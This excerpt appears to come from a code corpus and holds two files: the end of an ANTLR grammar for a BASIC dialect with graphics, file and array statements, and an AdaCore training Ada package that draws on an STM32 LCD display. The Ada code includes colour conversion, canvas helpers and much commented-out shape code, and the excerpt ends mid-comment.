LPAREN expr RPAREN # FuncLog | LOG10 LPAREN expr RPAREN # FuncLog10 | LOG2 LPAREN expr RPAREN # FuncLog2 | EXP LPAREN expr RPAREN # FuncExp | TORAD LPAREN expr RPAREN # FuncToRad | TODEG LPAREN expr RPAREN # FuncToDeg | CEIL LPAREN expr RPAREN # FuncCeil | FLOOR LPAREN expr RPAREN # FuncFloor | ROUND LPAREN expr RPAREN # FuncRound | MIN LPAREN expr COMMA expr RPAREN # FuncMin | MAX LPAREN expr COMMA expr RPAREN # FuncMax | PI LPAREN RPAREN # FuncPI | EULERE LPAREN RPAREN # FuncE | LEN LPAREN expr (COMMA axis=expr)? RPAREN # FuncLen | HEXDLR LPAREN expr RPAREN # FuncHexDlr | OCTDLR LPAREN expr RPAREN # FuncOctDlr | RIGHTDLR LPAREN expr COMMA expr RPAREN # FuncRightDlr | LEFTDLR LPAREN expr COMMA expr RPAREN # FuncLeftDlr | MIDDLR LPAREN expr COMMA expr (COMMA expr)? RPAREN # FuncMidDlr | INSTR LPAREN expr COMMA expr (COMMA expr)? RPAREN # FuncInstr | RND # FuncRnd | SGN LPAREN expr RPAREN # FuncSgn | ENVIRONDLR LPAREN expr RPAREN # FuncEnvironDlr | TIMER # FuncTimer | TIMERMILLIS # FuncTimerMillis | STRINGDLR LPAREN expr COMMA expr RPAREN # FuncStringDlr | EOFFN LPAREN expr RPAREN # FuncEof | LOC LPAREN expr RPAREN # FuncLoc | LOF LPAREN expr RPAREN # FuncLof | INPUTDLR LPAREN expr (COMMA HASH? expr)? RPAREN # FuncInputDlr | INKEYDLR # FuncInkeyDlr | ARRAY1DMIN LPAREN variable RPAREN # FuncArray1DMin | ARRAY1DMAX LPAREN variable RPAREN # FuncArray1DMax | ARRAY1DMEAN LPAREN variable RPAREN # FuncArray1DMean | ARRAY1DSUM LPAREN variable RPAREN # FuncArray1DSum | ARRAY1DSTD LPAREN variable RPAREN # FuncArray1DStd | ARRAY1DMEDIAN LPAREN variable RPAREN # FuncArray1DMedian | ARRAY1DPCT LPAREN variable COMMA p=expr RPAREN # FuncArray1DPct | ARRAY1DBINSEARCH LPAREN variable COMMA expr RPAREN # FuncArray1DBinSearch | ARRAY2DFINDROW LPAREN variable COMMA x1=expr COMMA y1=expr COMMA x2=expr COMMA y2=expr COMMA search=expr RPAREN # FuncArray2DFindRow | ARRAY2DFINDCOLUMN LPAREN variable COMMA x1=expr COMMA y1=expr COMMA x2=expr COMMA y2=expr COMMA search=expr RPAREN # FuncArray2DFindColumn | HSB2RGB LPAREN expr COMMA expr COMMA expr RPAREN # FuncHsb2Rgb | MOUSEMOVEDX LPAREN RPAREN # FuncMouseMovedX | MOUSEMOVEDY LPAREN RPAREN # FuncMouseMovedY | MOUSEDRAGGEDX LPAREN RPAREN # FuncMouseDraggedX | MOUSEDRAGGEDY LPAREN RPAREN # FuncMouseDraggedY | MOUSEBUTTONCLICKED LPAREN RPAREN # FuncMouseButtonClicked | MOUSEBUTTONPRESSED LPAREN RPAREN # FuncMouseButtonPressed | MOUSEBUTTONRELEASED LPAREN RPAREN # FuncMouseButtonReleased | ISKEYPRESSED LPAREN expr RPAREN # FuncIsKeyPressed | SPLITDLR LPAREN str=expr COMMA regex=expr RPAREN # FuncSplitDlr | ALLOCARRAY varsuffix LPAREN expr (COMMA expr)? RPAREN # FuncAllocArray ; funcname : varname | GET | APPEND | PUT ; gosubstmt : GOSUB linenum ; gosublabelstmt : GOSUB string ; returnstmt : RETURN ; printhashusingstmt : PRINTHASH filenum=expr COMMA USING format=expr SEMICOLON printlist ; printusingstmt : PRINT USING format=expr SEMICOLON printlist ; printhashstmt : PRINTHASH filenum=expr COMMA printlist ; printstmt : (QUESTION | PRINT) printlist? ; printlist : expr (COMMA | SEMICOLON | expr)* ; writestmt : WRITE (expr (COMMA expr)*)? ; writehashstmt : WRITEHASH filenum=expr COMMA expr (COMMA expr)* ; letstmt : LET? variable RELEQ expr ; autoletstmt : AUTO varname RELEQ expr ; ifstmt : IF expr COMMA? then COMMA? (ELSE elsestmt)? # IfThenElse ; then : (THEN (linenum | stmtlist)) | (GOTO linenum) ; elsestmt : linenum | stmtlist ; ifthenbeginstmt : IF expr THEN BEGIN ; elsebeginstmt : ELSE BEGIN ; endifstmt : END IF ; stmtlist : stmt (':' stmt)* ; forstmt : FOR variable RELEQ expr TO expr (STEP expr)? ; nextstmt : NEXT variable? (COMMA variable)* ; gotostmt : GOTO linenum ; gotolabelstmt : GOTO string ; endstmt : END ; deffnstmt : DEF varname varsuffix? (LPAREN (variable (COMMA variable)*)? RPAREN)? RELEQ expr ; functionbeginstmt : FUNCTION fnname=varname fnrettype=varsuffix? LPAREN (compositetype (COMMA compositetype)*)? RPAREN LBRACE ; functionreturnstmt : RETURN expr ; functionendstmt : RBRACE ; importstmt : IMPORT filename=string ; libtagstmt : LIBTAG tag=string ; dimstmt : DIM varname varsuffix? LPAREN expr (COMMA expr)* RPAREN ; reallocstmt : REALLOCARRAY varname varsuffix? LPAREN expr (COMMA expr)* RPAREN ; whilestmt : WHILE expr ; wendstmt : WEND ; lsetstmt : LSET variable RELEQ expr ; rsetstmt : RSET variable RELEQ expr ; swapstmt : SWAP variable COMMA variable ; open1stmt : OPEN filemode1 COMMA HASH? filenum=DECIMAL COMMA filename=expr (COMMA reclen=expr)? ; open2stmt : OPEN filename=expr (FOR filemode2)? (ACCESS access)? lock? AS HASH? filenum=DECIMAL (LEN RELEQ reclen=expr)? ; closestmt : CLOSE (HASH? DECIMAL (COMMA HASH? DECIMAL)*)? ; filemode1 : STRING ; filemode2 : INPUT | OUTPUT | APPEND | RANDOM ; access : READ | WRITE | READ WRITE ; lock : SHARED | LOCK READ | LOCK WRITE | LOCK READ WRITE ; putstmt : PUT HASH? filenum=DECIMAL (COMMA expr)? ; getstmt : GET HASH? filenum=DECIMAL (COMMA expr)? ; fieldstmt : FIELD HASH? filenum=expr COMMA DECIMAL AS variable (COMMA DECIMAL AS variable)* ; inputstmt : INPUT SEMICOLON? (expr (SEMICOLON | COMMA)) variable (COMMA variable)* ; inputhashstmt : INPUTHASH filenum=expr COMMA variable (COMMA variable)* ; lineinputstmt : LINE INPUT SEMICOLON? (expr SEMICOLON)? variable ; lineinputhashstmt : LINE INPUTHASH filenum=expr COMMA variable ; readstmt : READ variable (COMMA variable)* ; datastmt : DATA (str=STRING | number) (COMMA (str=STRING | number))* ; restorestmt : RESTORE ; randomizestmt : RANDOMIZE expr ; randomizetimerstmt : RANDOMIZE TIMER ; defintstmt : DEFINT LETTERRANGE (COMMA LETTERRANGE)* ; deflngstmt : DEFLNG LETTERRANGE (COMMA LETTERRANGE)* ; defsngstmt : DEFSNG LETTERRANGE (COMMA LETTERRANGE)* ; defdblstmt : DEFDBL LETTERRANGE (COMMA LETTERRANGE)* ; defstrstmt : DEFSTR LETTERRANGE (COMMA LETTERRANGE)* ; middlrstmt : MIDDLR LPAREN variable COMMA expr (COMMA expr)? RPAREN RELEQ expr ; sleepstmt : SLEEP expr ; screenstmt : SCREEN title=expr COMMA w=expr COMMA h=expr (COMMA iw=expr COMMA ih=expr)? (COMMA mr=MANUAL_REPAINT)? (COMMA db=DOUBLE_BUFFER)? ; repaintstmt : REPAINT ; circlestmt // CIRCLE (x, y), r1, r2, start, end, "F" : CIRCLE LPAREN x=expr COMMA y=expr RPAREN COMMA r1=expr COMMA r2=expr (COMMA s=expr? COMMA e=expr? COMMA? fill=expr?)? ; linestmt : LINE LPAREN x1=expr COMMA y1=expr RPAREN MINUS LPAREN x2=expr COMMA y2=expr RPAREN (COMMA bf=expr)? ; colorstmt : COLOR r=expr COMMA g=expr COMMA b=expr ; paintstmt // PAINT (x, y), r, g, b : PAINT LPAREN x=expr COMMA y=expr RPAREN COMMA r=expr COMMA g=expr COMMA b=expr ; psetstmt : PSET LPAREN x=expr COMMA y=expr RPAREN (COMMA r=expr COMMA g=expr COMMA b=expr)? ; drawstmt : DRAW expr ; graphicsgetstmt : GET LPAREN x1=expr COMMA y1=expr RPAREN MINUS LPAREN x2=expr COMMA y2=expr RPAREN COMMA variable (COMMA buffer=(FRONT|BACK1))? ; graphicsputstmt : PUT LPAREN x=expr COMMA y=expr RPAREN COMMA variable (COMMA action=expr)? (COMMA buffer=(FRONT|BACK1))? ; graphicsbuffercopyhorstmt : BUFFERCOPYHOR srcx=expr EQGT dstx=expr COMMA w=expr ; fontstmt : FONT name=expr COMMA style=expr COMMA size=expr ; drawstrstmt : DRAWSTR str=expr COMMA x=expr COMMA y=expr ; loadimgstmt : LOADIMG path=expr COMMA variable ; saveimgstmt : SAVEIMG path=expr COMMA variable ; clsstmt : CLS ; beepstmt : BEEP ; arrayfillstmt : ARRAYFILL variable COMMA expr ; arraycopystmt : ARRAYCOPY src=variable COMMA dst=variable ; array1dsortstmt : ARRAY1DSORT variable ; array1dcopystmt : ARRAY1DCOPY src=variable COMMA src0=expr COMMA dst=variable COMMA dst0=expr COMMA len=expr ; array2dshifthorstmt : ARRAY2DSHIFTHOR variable COMMA step=expr ; array2dshiftverstmt : ARRAY2DSHIFTVER variable COMMA step=expr ; loadwavstmt : LOADWAV path=expr COMMA variable ; playwavstmt : PLAYWAV variable ; stopwavstmt : STOPWAV variable ; loopwavstmt : LOOPWAV variable ; labelstmt : LABEL name=string ; liststmt : LIST RELLT (typename=varname|typesuffix=varsuffix|DIM dimtypesuffix=varsuffix) RELGT listname=varname ; dictstmt : DICT RELLT (dictk1=varsuffix) COMMA (dictv1=varname|dictv2=varsuffix) RELGT dictname=varname ; setstmt : SET RELLT (typesuffix=varsuffix) RELGT setname=varname ; structstmt : STRUCT structname=varname LBRACE compositetype (COMMA compositetype)* RBRACE ; compositetype : (var1=varname var2=varsuffix? | DIM elem=varname elemsuffix=varsuffix? LPAREN dim=DECIMAL (COMMA dim=DECIMAL)* RPAREN | struct1=varname elem=varname | LIST RELLT (list1=varname|list2=varsuffix|DIM list3=varsuffix) RELGT elem=varname | SET RELLT (set1=varname|set2=varsuffix) RELGT elem=varname | DICT RELLT (dictk1=varsuffix) COMMA (dictv1=varname|dictv2=varsuffix) RELGT elem=varname) ; structinstancestmt : varname varname LBRACE RBRACE ; LIST : L I S T ; DICT : D I C T ; SET : S E T ; EQGT : '=' '>' ; DEFAULT : D E F A U L T ; LETTERRANGE : LETTER MINUS LETTER ; LET : L E T ; AUTO : A U T O ; PRINT : P R I N T ; PRINTHASH : P R I N T HASH ; USING : U S I N G ; IF : I F ; THEN : T H E N ; ELSE : E L S E ; GOTO : G O T O ; FOR : F O R ; NEXT : N E X T ; TO : T O ; STEP : S T E P ; REM : R E M ; FUNCTION : F U N C T I O N ; LIBTAG : L I B T A G ; IMPORT : I M P O R T ; END : E N D ; SIN : S I N ; COS : C O S ; TAN : T A N ; ATN : A T N ; SQR : S Q R ; ABS : A B S ; ASC : A S C ; DEF : D E F ; DIM : D I M ; ALLOCARRAY : A L L O C A R R A Y ; REALLOCARRAY : R E A L L O C A R R A Y ; GOSUB : G O S U B ; RETURN : R E T U R N ; LSET : L S E T ; RSET : R S E T ; CINT : C I N T ; CLNG : C L N G ; CSNG : C S N G ; CDBL : C D B L ; CHRDLR : C H R DOLLAR ; WHILE : W H I L E ; WEND : W E N D ; MKIDLR : M K I DOLLAR ; MKLDLR : M K L DOLLAR ; MKSDLR : M K S DOLLAR ; MKDDLR : M K D DOLLAR ; CVI : C V I ; CVL : C V L ; CVS : C V S ; CVD : C V D ; SPACEDLR : S P A C E DOLLAR ; STRDLR : S T R DOLLAR ; VAL : V A L ; INT : I N T ; FIX : F I X ; LOG : L O G ; LEN : L E N ; RIGHTDLR : R I G H T DOLLAR ; LEFTDLR : L E F T DOLLAR ; MIDDLR : M I D DOLLAR ; INSTR : I N S T R ; HEXDLR : H E X DOLLAR ; OCTDLR : O C T DOLLAR ; RND : R N D ; SGN : S G N ; TIMER : T I M E R ; TIMERMILLIS : T I M E R M I L L I S ; STRINGDLR : S T R I N G DOLLAR ; SWAP : S W A P ; OPEN : O P E N ; CLOSE : C L O S E ; ACCESS : A C C E S S ; AS : A S ; LINE : L I N E ; INPUT : I N P U T ; INPUTHASH : I N P U T HASH ; INPUTDLR : I N P U T DOLLAR ; OUTPUT : O U T P U T ; APPEND : A P P E N D ; RANDOM : R A N D O M ; RANDOMIZE : R A N D O M I Z E ; READ : R E A D ; WRITE : W R I T E ; WRITEHASH : W R I T E HASH ; SHARED : S H A R E D ; LOCK : L O C K ; PUT : P U T ; GET : G E T ; EOFFN : E O F ; LOC : L O C ; LOF : L O F ; FIELD : F I E L D ; DATA : D A T A ; RESTORE : R E S T O R E ; DEFINT : D E F I N T ; DEFLNG : D E F L N G ; DEFSNG : D E F S N G ; DEFDBL : D E F D B L ; DEFSTR : D E F S T R ; ENVIRONDLR : E N V I R O N DOLLAR ; SCREEN : S C R E E N ; CIRCLE : C I R C L E ; SLEEP : S L E E P ; COLOR : C O L O R ; INKEYDLR : I N K E Y DOLLAR ; PAINT : P A I N T ; PSET : P S E T ; DRAW : D R A W ; FONT : F O N T ; DRAWSTR : D R A W S T R ; LOADIMG : L O A D I M G ; SAVEIMG : S A V E I M G ; LOADWAV : L O A D W A V ; PLAYWAV : P L A Y W A V ; STOPWAV : S T O P W A V ; LOOPWAV : L O O P W A V ; CLS : C L S ; BEEP : B E E P ; MANUAL_REPAINT : M A N U A L R E P A I N T ; DOUBLE_BUFFER : D O U B L E B U F F E R ; REPAINT : R E P A I N T ; ASIN : A S I N ; ACOS : A C O S ; SINH : S I N H ; COSH : C O S H ; TANH : T A N H ; EULERE : E U L E R E ; PI : P I ; MIN : M I N ; MAX : M A X ; FLOOR : F L O O R ; CEIL : C E I L ; ROUND : R O U N D ; LOG10 : L O G '1' '0' ; LOG2 : L O G '2' ; EXP : E X P ; TORAD : T O R A D ; TODEG : T O D E G ; TRUE : T R U E ; FALSE : F A L S E ; ARRAYFILL : A R R A Y F I L L ; ARRAY1DMIN : A R R A Y '1' D M I N ; ARRAY1DMAX : A R R A Y '1' D M A X ; ARRAY1DMEAN : A R R A Y '1' D M E A N ; ARRAY1DSUM : A R R A Y '1' D S U M ; ARRAY1DSTD : A R R A Y '1' D S T D ; ARRAY1DMEDIAN : A R R A Y '1' D M E D I A N ; ARRAY1DPCT : A R R A Y '1' D P C T ; ARRAY1DSORT : A R R A Y '1' D S O R T ; ARRAY1DBINSEARCH : A R R A Y '1' D B I N S E A R C H ; ARRAY2DFINDROW : A R R A Y '2' D F I N D R O W ; ARRAY2DFINDCOLUMN : A R R A Y '2' D F I N D C O L U M N ; ARRAYCOPY : A R R A Y C O P Y ; ARRAY1DCOPY : A R R A Y '1' D C O P Y ; ARRAY2DSHIFTHOR : A R R A Y '2' D S H I F T H O R ; ARRAY2DSHIFTVER : A R R A Y '2' D S H I F T V E R ; HSB2RGB : H S B '2' R G B ; LABEL : L A B E L ; BEGIN : B E G I N ; MOUSEMOVEDX : M O U S E M O V E D X ; MOUSEMOVEDY : M O U S E M O V E D Y ; MOUSEDRAGGEDX : M O U S E D R A G G E D X ; MOUSEDRAGGEDY : M O U S E D R A G G E D Y ; MOUSEBUTTONCLICKED : M O U S E B U T T O N C L I C K E D ; MOUSEBUTTONPRESSED : M O U S E B U T T O N P R E S S E D ; MOUSEBUTTONRELEASED : M O U S E B U T T O N R E L E A S E D ; ISKEYPRESSED : I S K E Y P R E S S E D ; FRONT : F R O N T ; BACK1 : B A C K '1' ; BUFFERCOPYHOR : B U F F E R C O P Y H O R ; STRUCT : S T R U C T ; SPLITDLR : S P L I T DOLLAR ; string : STRING ; STRING : '"' ~["\r\n]* '"' ; COMMA : ',' ; SEMICOLON : ';' ; QUESTION : '?' ; AT : '@' ; DOLLAR : '$' ; PERCENT : '%' ; EXCLAMATION : '!' ; HASH : '#' ; APOSTROPHE : '\'' ; EXPONENT : '^' ; FLOAT_DIV : '/' ; INT_DIV : '\\' ; MUL : '*' ; LPAREN : '(' ; RPAREN : ')' ; LBRACE : '{' ; RBRACE : '}' ; MOD : M O D ; RELEQ : '=' ; RELNEQ : '<>' ; RELGT : '>' ; RELGE : '>=' ; RELLT : '<' ; RELLE : '<=' ; LOGAND : A N D ; LOGOR : O R ; LOGNOT : N O T ; LOGXOR : X O R ; LOGEQV : E Q V ; LOGIMP : I M P ; BWRSFT : '>' '>' ; BWLSFT : '<' '<' ; VARNAME : LETTER (LETTER | DECIMAL)* ; LETTER : [a-zA-Z] ; number : integer | FLOAT | DOUBLE ; integer : (DECIMAL | HEXADECIMAL | OCTAL) (PERCENT | AT | HASH | EXCLAMATION)? ; PLUS : '+' ; MINUS : '-' ; DECIMAL : DIGIT+ ; HEXADECIMAL : '&' H DECIMAL ; OCTAL : '&' O? DECIMAL ; FLOAT : ((DIGIT* '.' DIGIT+) (('e' | 'E') DIGIT+)? '!'?) | (DECIMAL '!') ; DOUBLE : ((DIGIT* '.' DIGIT+) (('d' | 'D') DIGIT+)? '#'?) | (DECIMAL '#') ; DOT : '.' ; fragment DIGIT : [0-9] ; fragment A : 'a' | 'A' ; fragment B : 'b' | 'B' ; fragment C : 'c' | 'C' ; fragment D : 'd' | 'D' ; fragment E : 'e' | 'E' ; fragment F : 'f' | 'F' ; fragment G : 'g' | 'G' ; fragment H : 'h' | 'H' ; fragment I : 'i' | 'I' ; fragment J : 'j' | 'J' ; fragment K : 'k' | 'K' ; fragment L : 'l' | 'L' ; fragment M : 'm' | 'M' ; fragment N : 'n' | 'N' ; fragment O : 'o' | 'O' ; fragment P : 'p' | 'P' ; fragment Q : 'q' | 'Q' ; fragment R : 'r' | 'R' ; fragment S : 's' | 'S' ; fragment T : 't' | 'T' ; fragment U : 'u' | 'U' ; fragment V : 'v' | 'V' ; fragment W : 'w' | 'W' ; fragment X : 'x' | 'X' ; fragment Y : 'y' | 'Y' ; fragment Z : 'z' | 'Z' ; NEWLINE : '\r'? '\n' ; WS : (SPACE | TAB)+ -> channel(HIDDEN); SPACE : ' ' ; TAB : '\t' ;
extern/game_support/src/backends/stm32/display-basic.adb
AdaCore/training_material
15
26518
<filename>extern/game_support/src/backends/stm32/display-basic.adb ----------------------------------------------------------------------- -- Ada Labs -- -- -- -- Copyright (C) 2008-2013, AdaCore -- -- -- -- Labs is free software; you can redistribute it and/or modify it -- -- under the terms of the GNU General Public License as published by -- -- the Free Software Foundation; either version 2 of the License, or -- -- (at your option) any later version. -- -- -- -- This program is distributed in the hope that it will be useful, -- -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -- -- General Public License for more details. You should have received -- -- a copy of the GNU General Public License along with this program; -- -- if not, write to the Free Software Foundation, Inc., 59 Temple -- -- Place - Suite 330, Boston, MA 02111-1307, USA. -- ----------------------------------------------------------------------- with Interfaces.C; use Interfaces.C; with System; with Ada.Text_IO; use Ada.Text_IO; with System.Storage_Elements; with System.Address_To_Access_Conversions; with Interfaces; use Interfaces; with Screen_Interface; with STM32F4.LCD; use STM32F4; with Fonts; use Fonts; with Ada.Unchecked_Deallocation; package body Display.Basic is use LCD; function RGBA_To_ARGB1555(Color : RGBA_T) return STM32F4.LCD.Pixel_Color; function RGBA_To_ARGB1555(Color : RGBA_T) return STM32F4.LCD.Pixel_Color is Output : STM32F4.LCD.Pixel_Color; begin Output.A := Bits_1(Color.A / 128); Output.R := Bits_5(Color.R / 8); Output.G := Bits_5(Color.G / 8); Output.B := Bits_5(Color.B / 8); return Output; end RGBA_To_ARGB1555; function RGBA_To_16(Color : RGBA_T) return STM32F4.LCD.Pixel is begin return Pixel_Color_To_Pixel(RGBA_To_ARGB1555(Color)); end RGBA_To_16; function Switch_Layer (L : LCD.LCD_Layer) return LCD.LCD_Layer is (if L = Layer1 then Layer2 else Layer1); type T_Internal_Canvas is record Zoom_Factor : Float := 1.0; width : Integer := 240; Height : Integer := 320; Center : Screen_Point := (0, 0); end record; Internal_Canvas : T_Internal_Canvas; package Sc renames Screen_Interface; subtype Sc_Color is Screen_Interface.Color; procedure Set_Pixel (X, Y : Integer; Col : SC.Color) is begin if X in SC.Width'Range and then Y in SC.Height'Range then SC.Set_Pixel ((X, Y), Col); end if; end Set_Pixel; procedure Set_Pixel (Canvas : Canvas_ID; Position : Screen_Point; Color : RGBA_T) is begin Set_Pixel(Position.X, Position.Y, RGBA_To_16(Color)); end Set_Pixel; use Screen_Interface; function Scale (C : T_Internal_Canvas; L : Float) return Integer is (Integer (L * C.Zoom_Factor)); type Cart_Point is record X, Y : Float; end record; -- function "+" (P : Cart_Point) return Screen_Point -- is -- ((X => Integer (Zoom_Factor * P.X) + SC.Width'Last / 2, -- Y => SC.Height'Last / 2 - Integer (Zoom_Factor * P.Y))); function To_Screen_Point (C : T_Internal_Canvas; P : Cart_Point) return Screen_Point is ((X => Integer (C.Zoom_Factor * P.X) + Integer(C.width / 2) - C.Center.X, Y => Integer(C.Height / 2) + C.Center.Y - Integer (C.Zoom_Factor * P.Y))); function To_Point3d (Canvas : Canvas_ID; P : Screen_Point) return Point_3d is begin return (Float(P.X - Integer(Internal_Canvas.width / 2)), Float(Integer(Internal_Canvas.Height / 2)- P.Y), 0.0); end To_Point3d; function To_Screen_Point (Canvas : Canvas_ID; P : Point_3d) return Screen_Point is begin return To_Screen_Point(Internal_Canvas, (P.X, P.Y)); end To_Screen_Point; procedure Set_Center (Canvas : Canvas_ID; Position : Screen_Point) is begin Internal_Canvas.Center := Position; end Set_Center; procedure Set_Center (Canvas : Canvas_ID; Position : Point_3d) is begin Set_Center(Canvas, Screen_Point'(Scale(Internal_Canvas, Position.X), Scale(Internal_Canvas, Position.Y))); end Set_Center; function Get_Center (Canvas : Canvas_ID) return Screen_Point is begin return Internal_Canvas.Center; end Get_Center; function Get_Canvas_Size(Canvas : Canvas_ID) return Screen_Point is begin return Screen_Point'(Internal_Canvas.width, Internal_Canvas.Height); end Get_Canvas_Size; ------------------------------ -- SHAPE RECORD AND STORAGE -- ------------------------------ type Shape_Kind is (Circle, Line, Torus, Box, Text, No_Shape); type String_Access is access all String; Max_String_Length : constant := 255; type Managed_String is record Str : String (1 .. 255); Length : Natural; end record; Nb_Max_Strings : constant := 64; type String_Idx is range 1 .. Nb_Max_Strings; type String_Array is array (String_Idx) of Managed_String; type Managed_Strings is record Strings : String_Array; Current_Idx : String_Idx := 1; end record; String_Store : Managed_Strings; -- type Shape (Kind : Shape_Kind := No_Shape) is record -- X, Y : Float; -- Color : Color_Type; -- case Kind is -- when Circle => Radius : Float; -- when Line => End_X, End_Y : Float; -- when Torus => Outer, Inner : Float; -- when Box => Width, Height : Float; -- -- when Dyn_Text => Str_Ptr : String_Access; -- when Text => Str_Idx : String_Idx; -- when No_Shape => null; -- end Case; -- end record; -- Color_Map : array (Color_Type) of Sc_Color := -- (Black => Sc.Black, -- Blue => Sc.Blue, -- Green => Sc.Green, -- Cyan => Sc.Pink, -- Red => Sc.Red, -- Magenta => Sc.Orange, -- Yellow => Sc.Yellow, -- White => Sc.White, -- Gray => Sc.Gray); -- subtype Shape_Index is Shape_Id range 1 .. Max_Shapes; -- -- type Shapes_Array is array (Shape_Index) of Shape; -- Shapes : Shapes_Array := -- (others => (Kind => No_Shape, others => <>)); -- Max_Shape_Id : Shape_Index := 1; ----------- -- Set_X -- ----------- -- procedure Set_X (Shape : in out Shape_Id; Value : Float) is -- begin -- Shapes (Shape).X := Value; -- end Set_X; ----------- -- Get_X -- ----------- -- function Get_X (Shape : Shape_Id) return Float is -- begin -- return Shapes (Shape).X; -- end Get_X; ----------- -- Set_Y -- ----------- -- procedure Set_Y (Shape : in out Shape_Id; Value : Float) is -- begin -- Shapes (Shape).Y := Value; -- end Set_Y; ----------- -- Get_Y -- ----------- -- function Get_Y (Shape : Shape_Id) return Float is -- begin -- return Shapes (Shape).Y; -- end Get_Y; --------------- -- Set_Color -- --------------- -- procedure Set_Color (Shape : in out Shape_Id; Color : Color_Type) is -- begin -- Shapes (Shape).Color := Color; -- end Set_Color; --------------- -- Get_Color -- --------------- -- function Get_Color (Shape : Shape_Id) return Color_Type is -- begin -- return Shapes (Shape).Color; -- end Get_Color; ------------ -- Delete -- ------------ -- procedure Delete (Shape : in out Shape_Id) is -- begin -- Shapes (Shape) := (Kind => No_Shape, others => <>); -- end Delete; --------------- -- New_Shape -- --------------- -- function New_Shape return Shape_Id is -- begin -- for I in Shapes'Range loop -- if Shapes (I).Kind = No_Shape then -- if I > Max_Shape_Id then -- Max_Shape_Id := I; -- end if; -- return I; -- end if; -- end loop; -- -- return Null_Shape_Id; -- end New_Shape; ---------------- -- New_Circle -- ---------------- -- function New_Circle -- (X : Float; -- Y : Float; -- Radius : Float; -- Color : Color_Type) -- return Shape_Id -- is -- Id : Shape_Index := New_Shape; -- begin -- Shapes (Id) := (Kind => Circle, X => X, Y => Y, Radius => Radius, -- Color => Color); -- return Id; -- end New_Circle; ---------------- -- Set_Radius -- ---------------- -- procedure Set_Radius (Shape : in out Shape_Id; Value : Float) is -- begin -- Shapes (Shape).Radius := Value; -- end Set_Radius; ---------------- -- Get_Radius -- ---------------- -- function Get_Radius (Shape : Shape_Id) return Float is -- begin -- return Shapes (Shape).Radius; -- end Get_Radius; -------------- -- New_Line -- -------------- -- function New_Line -- (X : Float; -- Y : Float; -- X2 : Float; -- Y2 : Float; -- Color : Color_Type) return Shape_Id -- is -- Id : Shape_Index := New_Shape; -- begin -- Shapes (Id) := (Kind => Line, X => X, Y => Y, End_X => X2, End_Y => Y2, -- Color => Color); -- return Id; -- end New_Line; ------------------ -- New_Dyn_Text -- ------------------ -- function New_Dyn_Text -- (X : Float; -- Y : Float; -- Str : String; -- Color : Color_Type) return Shape_Id -- is -- Id : Shape_Index := New_Shape; -- New_Str : String_Access := new String'(Str); -- begin -- Shapes (Id) := (Kind => Dyn_Text, X => X, Y => Y, -- Str_Ptr => New_Str, -- Color => Color); -- return Id; -- end New_Dyn_Text; function New_Str (Str : String) return String_Idx is C : String_Idx := String_Store.Current_Idx; begin String_Store.Strings (C).Str (1 .. Str'Length) := Str; String_Store.Strings(C).Length := Str'Length; String_Store.Current_Idx := String_Store.Current_Idx + 1; return C; end New_Str; procedure Set_Str (Str_Idx : String_Idx; Str : string) is begin String_Store.Strings (Str_Idx).Str (1 .. Str'Length) := Str; String_Store.Strings(Str_Idx).Length := Str'Length; end Set_Str; function Get_Str (Str_Idx : String_Idx) return String is Str : String (1 .. String_Store.Strings (Str_Idx).Length) := String_Store.Strings (Str_Idx).Str (1 .. String_Store.Strings (Str_Idx).Length); begin return Str; end Get_Str; -------------- -- New_Text -- -------------- -- function New_Text -- (X : Float; -- Y : Float; -- Text : String; -- Color : Color_Type) return Shape_Id -- is -- Id : Shape_Index := New_Shape; -- begin -- Shapes (Id) := (Kind => Display.Basic.Text, X => X, Y => Y, -- Str_Idx => New_Str (Text), -- Color => Color); -- return Id; -- end New_Text; -- procedure Set_Dyn_Text (V : in out Shape_Id; Text : String) is -- procedure Free_String is new Ada.Unchecked_Deallocation (String, String_Access); -- -- begin -- -- Free_String (Shapes (V).Str_Ptr); -- Shapes(V).Str_Ptr := new String'(Text); -- end Set_Dyn_Text; -- -- procedure Set_Text (V : in out Shape_Id; Text : String) is -- begin -- Set_Str (Shapes(V).Str_Idx, Text); -- end Set_Text; -- function Get_Text (V : Shape_Id) return String is -- Str : String (1 .. String_Store.Strings (Shapes (V).Str_Idx).Length) := String_Store.Strings (Shapes (V).Str_Idx).Str (1 .. String_Store.Strings (Shapes (V).Str_Idx).Length); -- begin -- return Str; -- end Get_Text; -- function Get_Dyn_Text (V : Shape_Id) return String is -- begin -- return Shapes(V).Str_Ptr.all; -- end Get_Dyn_Text; ------------ -- Get_X2 -- ------------ -- function Get_X2 (V : Shape_Id) return Float is -- begin -- return Shapes (V).End_X; -- end Get_X2; ------------ -- Get_Y2 -- ------------ -- function Get_Y2 (V : Shape_Id) return Float is -- begin -- return Shapes (V).End_Y; -- end Get_Y2; ------------ -- Set_X2 -- ------------ -- procedure Set_X2 (V : in out Shape_Id; Value : Float) is -- begin -- Shapes (V).End_X := Value; -- end Set_X2; ------------ -- Set_Y2 -- ------------ -- procedure Set_Y2 (V : in out Shape_Id; Value : Float) -- is -- begin -- Shapes (V).End_Y := Value; -- end Set_Y2; ------------- -- New_Box -- ------------- -- function New_Box -- (X, Y : Float; -- Width, Height : Float; -- Color : Color_Type) -- return Shape_Id -- is -- Id : Shape_Index := New_Shape; -- begin -- Shapes (Id) := (Kind => Box, X => X, Y => Y, Width => Width, -- Height => Height, Color => Color); -- return Id; -- end New_Box; --------------- -- New_Torus -- --------------- -- function New_Torus -- (X : Float; -- Y : Float; -- Inner_Radius : Float; -- Outer_Radius : Float; -- Color : Color_Type) -- return Shape_Id -- is -- Id : Shape_Index := New_Shape; -- begin -- Shapes (Id) := (Kind => Torus, X => X, Y => Y, -- Inner => Outer_Radius - Inner_Radius, -- Outer => Outer_Radius, -- Color => Color); -- return Id; -- end New_Torus; ---------------------- -- Set_Inner_Radius -- ---------------------- -- -- procedure Set_Inner_Radius (V : in out Shape_Id; Value : Float) is -- begin -- Shapes (V).Inner := Value; -- end Set_Inner_Radius; ---------------------- -- Set_Outer_Radius -- ---------------------- -- procedure Set_Outer_Radius (V : in out Shape_Id; Value : Float) is -- begin -- Shapes (V).Outer := Value; -- end Set_Outer_Radius; ---------------------- -- Get_Inner_Radius -- ---------------------- -- function Get_Inner_Radius (V : Shape_Id) return Float is -- begin -- return Shapes (V).Inner; -- end Get_Inner_Radius; ---------------------- -- Get_Outer_Radius -- ---------------------- -- function Get_Outer_Radius (V : Shape_Id) return Float is -- begin -- return Shapes (V).Outer; -- end Get_Outer_Radius; ----------------- 